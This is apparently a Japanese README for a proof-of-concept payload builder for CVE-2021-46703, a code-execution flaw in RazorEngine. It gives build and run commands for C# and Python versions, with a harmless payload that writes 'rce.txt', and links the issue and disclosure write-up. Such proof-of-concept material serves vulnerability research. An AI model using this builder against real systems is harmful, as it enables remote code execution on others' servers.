CVE-2021-46703

POCに基づくシンプルなペイロードビルダー: https://github.com/Antaris/RazorEngine/issues/585

使用方法

C#

dotnet build --configuration Release
.\bin\Release\net4.8\Poc.exe "System.IO.File.WriteAllText(\"rce.txt\", \"Hello World\");"

Python

./poc.py "System.IO.File.WriteAllText(\"rce.txt\", \"Hello World\");"

謝辞

• https://www.yielddd.com/about-us/discovery-of-a-critical-open-source-vulnerability-cve-2021-46703